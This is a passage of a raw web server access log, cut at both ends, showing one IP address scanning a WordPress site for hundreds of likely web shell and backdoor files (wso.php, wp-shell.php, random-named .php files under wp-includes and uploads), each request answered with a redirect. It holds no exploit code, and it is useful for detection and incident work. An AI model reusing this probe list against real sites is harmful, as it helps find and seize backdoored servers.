301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:07 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:08 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:09 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:09 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:10 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:11 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:12 -0400] "GET /wp-content/themes/seotheme/mar.php?d=2f6e61732f636f6e74656e742f6c6976652f72616368656c73626c6f672f77702d636f6e74656e742f7468656d65732f73656f7468656d65&1 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:12 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:13 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:14 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:15 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:15 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:16 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:16 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:17 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:18 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:19 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:21 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:21 -0400] "GET /wp-content/themes/wp-pridmag/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:22 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:23 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:23 -0400] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:24 -0400] "GET /wp-content/themes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:25 -0400] "GET /wp-content/themes/zrt.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:25 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:26 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:26 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:27 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:27 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:28 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:28 -0400] "GET /wp-content/upgrade/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:29 -0400] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:29 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:30 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:30 -0400] "GET /wp-content/upgrade/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:31 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:32 -0400] "GET /wp-content/uploads//good.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:33 -0400] "GET /wp-content/uploads//load-scripts-page.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:34 -0400] "GET /wp-content/uploads//ms-sites-modify.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:35 -0400] "GET /wp-content/uploads//network-settings.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:35 -0400] "GET /wp-content/uploads//wp-backup.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:36 -0400] "GET /wp-content/uploads/2019//dog.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:37 -0400] "GET /wp-content/uploads/2019//mini.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:37 -0400] "GET /wp-content/uploads/2020/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:38 -0400] "GET /wp-content/uploads/2021//snwphriucoj.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:39 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:40 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:41 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:42 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:42 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:43 -0400] "GET /wp-content/uploads/2023/05/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:43 -0400] "GET /wp-content/uploads/2023/10/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:44 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:45 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:45 -0400] "GET /wp-content/uploads/2025/04/natural.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:46 -0400] "GET /wp-content/uploads/? HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:46 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:47 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:48 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:48 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:48 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:49 -0400] "GET /wp-content/uploads/classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:49 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:50 -0400] "GET /wp-content/uploads/de_fb_uploads/b.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:50 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:51 -0400] "GET /wp-content/uploads/gravity_forms/a/a/d/e/mpobdxkytgs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:52 -0400] "GET /wp-content/uploads/gravity_forms/a/a/g/g/sbkntyhpcmw.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:52 -0400] "GET /wp-content/uploads/gravity_forms/a/b/b/g/uglomvzctsn.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:53 -0400] "GET /wp-content/uploads/gravity_forms/a/c/e/a/ypwzrbljtug.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:54 -0400] "GET /wp-content/uploads/gravity_forms/a/d/f/f/gcqdnkwesjz.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:54 -0400] "GET /wp-content/uploads/gravity_forms/a/h/g/f/rykplgfvasj.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:54 -0400] "GET /wp-content/uploads/gravity_forms/b/c/a/g/czivjydnxqt.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:55 -0400] "GET /wp-content/uploads/gravity_forms/b/c/d/a/squoxvwkhlt.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:55 -0400] "GET /wp-content/uploads/gravity_forms/b/h/f/a/jnxegkidpwo.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:56 -0400] "GET /wp-content/uploads/gravity_forms/c/a/e/a/uxcbytlahwz.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:56 -0400] "GET /wp-content/uploads/gravity_forms/c/c/a/b/rahlkvfmgdb.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:57 -0400] "GET /wp-content/uploads/gravity_forms/c/c/c/g/mdncplabzif.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:57 -0400] "GET /wp-content/uploads/gravity_forms/c/e/d/b/pmxctaowdes.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:58 -0400] "GET /wp-content/uploads/gravity_forms/c/e/g/c/czymneukgvd.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:59 -0400] "GET /wp-content/uploads/gravity_forms/c/h/g/f/tqicwdpsmnh.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:59 -0400] "GET /wp-content/uploads/gravity_forms/d/b/c/a/egyocfrpvwa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:00 -0400] "GET /wp-content/uploads/gravity_forms/d/d/c/d/flpovrzwjck.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:01 -0400] "GET /wp-content/uploads/gravity_forms/d/f/c/d/ojqmdbxhate.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:02 -0400] "GET /wp-content/uploads/gravity_forms/d/f/h/f/yosajlczrfb.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:03 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/dqwyzvpuahb.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:03 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/jkerxdyfnqg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:05 -0400] "GET /wp-content/uploads/gravity_forms/e/b/c/e/qotvjlbgrpc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:06 -0400] "GET /wp-content/uploads/gravity_forms/e/d/f/a/axfnwtvogks.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:07 -0400] "GET /wp-content/uploads/gravity_forms/e/g/g/c/oihlgmfuxzd.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:09 -0400] "GET /wp-content/uploads/gravity_forms/e/g/h/b/ctorzqpwhbu.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:11 -0400] "GET /wp-content/uploads/gravity_forms/e/h/f/c/yszukdvcqnw.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:14 -0400] "GET /wp-content/uploads/gravity_forms/f/d/e/g/xtznkgbjpvq.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:18 -0400] "GET /wp-content/uploads/gravity_forms/f/e/g/b/hpkifdjoalz.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:19 -0400] "GET /wp-content/uploads/gravity_forms/f/f/d/b/dihbpqwnyts.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:23 -0400] "GET /wp-content/uploads/gravity_forms/f/g/h/b/zjensalmdpb.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:24 -0400] "GET /wp-content/uploads/gravity_forms/g/b/b/e/zysdrojvpua.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:25 -0400] "GET /wp-content/uploads/gravity_forms/g/e/c/h/hwzjnumafpk.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:26 -0400] "GET /wp-content/uploads/gravity_forms/g/f/f/b/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:27 -0400] "GET /wp-content/uploads/gravity_forms/g/g/a/f/pkhymgfjald.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:28 -0400] "GET /wp-content/uploads/gravity_forms/g/h/h/d/mxnbqlgirdo.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:29 -0400] "GET /wp-content/uploads/gravity_forms/h/b/e/d/ioxgswkbzrp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:30 -0400] "GET /wp-content/uploads/gravity_forms/h/c/e/d/geusnobmvlh.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:30 -0400] "GET /wp-content/uploads/gravity_forms/h/c/h/c/hgickosyuxa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:31 -0400] "GET /wp-content/uploads/gravity_forms/h/e/c/b/pfmozjwseha.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:32 -0400] "GET /wp-content/uploads/gravity_forms/h/e/d/a/yjoxrfglsep.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:34 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:35 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:36 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:37 -0400] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:38 -0400] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:39 -0400] "GET /wp-content/uploads/tmp/.session.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:40 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:42 -0400] "GET /wp-content/uploads/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:44 -0400] "GET /wp-content/uploads/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:45 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:47 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:48 -0400] "GET /wp-content/uploads/wp-shell.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:50 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:50 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:51 -0400] "GET /wp-content/uploads/wpr-addons/forms/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:53 -0400] "GET /wp-content/uploads/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:54 -0400] "GET /wp-content/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:55 -0400] "GET /wp-content/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:56 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:56 -0400] "GET /wp-content/wp-tested.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:57 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:57 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:58 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:30:58 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:00 -0400] "GET /wp-content/x/wp-includes/Text/Diff/Engine/shell.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:00 -0400] "GET /wp-content/x/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:01 -0400] "GET /wp-content/x2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:03 -0400] "GET /wp-content/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:05 -0400] "GET /wp-core.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:06 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:08 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:09 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:11 -0400] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:11 -0400] "GET /wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:13 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:14 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:15 -0400] "GET /wp-files.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:17 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:20 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:21 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:22 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:24 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:26 -0400] "GET /wp-includes//403.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:27 -0400] "GET /wp-includes//defaults.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:28 -0400] "GET /wp-includes//item.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:30 -0400] "GET /wp-includes//langar.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:31 -0400] "GET /wp-includes//wp-class.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:33 -0400] "GET /wp-includes/1DTeo4NlXvb.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:33 -0400] "GET /wp-includes/1QVvI3Jefd9.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:34 -0400] "GET /wp-includes/1V7NZKd4MAb.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:35 -0400] "GET /wp-includes/1fwQh4mlL6U.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:36 -0400] "GET /wp-includes/25z1pj6D8ho.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:37 -0400] "GET /wp-includes/2CYFwmbVjRf.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:38 -0400] "GET /wp-includes/2ECeRgwNa6I.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:40 -0400] "GET /wp-includes/2JZ6GvDSsgd.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:41 -0400] "GET /wp-includes/2JeUH5dNZ7X.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:42 -0400] "GET /wp-includes/2M5k3hBNA8L.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:43 -0400] "GET /wp-includes/2VGWUt94ypz.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:44 -0400] "GET /wp-includes/2VJGUWYBXMZ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:44 -0400] "GET /wp-includes/2fd5iBxGvVt.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:45 -0400] "GET /wp-includes/31vLXnGsWhN.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:46 -0400] "GET /wp-includes/3RTGVYtrpSz.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:46 -0400] "GET /wp-includes/3TaxWwPciN5.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:47 -0400] "GET /wp-includes/3UiGPRTjwLI.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:48 -0400] "GET /wp-includes/3Wg6OxdwEuL.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:48 -0400] "GET /wp-includes/3aWTmqSkEDF.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:49 -0400] "GET /wp-includes/3yATdSmwkho.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:49 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:50 -0400] "GET /wp-includes/4Gh2KC3UQEc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:51 -0400] "GET /wp-includes/4HGIbcrUWhy.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:52 -0400] "GET /wp-includes/4MkuIlCN8cB.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:53 -0400] "GET /wp-includes/4NDvJxdAckU.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:54 -0400] "GET /wp-includes/4REzCXlesoN.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:55 -0400] "GET /wp-includes/4Y9KOVRvqrP.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:56 -0400] "GET /wp-includes/4a8ZmAdfYEk.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:31:58 -0400] "GET /wp-includes/4oaMT6spgwP.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:00 -0400] "GET /wp-includes/5Z4iTjIRAFz.php HTTP/1.1" 301 795 "-" "-" 17.241.219.11 - - [30/Apr/2025:07:32:00 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.219.11 - - [30/Apr/2025:07:32:01 -0400] "GET /ecommerce-website-design-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 52.164.127.136 - - [30/Apr/2025:07:32:02 -0400] "GET /wp-includes/5nUKyurCbLe.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:05 -0400] "GET /wp-includes/5qK7TMEc8fY.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:05 -0400] "GET /wp-includes/5tocX6Gkref.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:08 -0400] "GET /wp-includes/624jlHax7f5.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:11 -0400] "GET /wp-includes/6EeSZtdQrch.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:13 -0400] "GET /wp-includes/6I2vUbTadJO.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:17 -0400] "GET /wp-includes/6U71KzQC98S.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:19 -0400] "GET /wp-includes/6ZKP9RiYwlM.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:20 -0400] "GET /wp-includes/6g3VEPfspOJ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:21 -0400] "GET /wp-includes/6kjOKB13oiW.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:22 -0400] "GET /wp-includes/7LGSNpCH2Ai.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:24 -0400] "GET /wp-includes/7QkOwJbC4uB.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:25 -0400] "GET /wp-includes/7XhnbeQUrHB.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:27 -0400] "GET 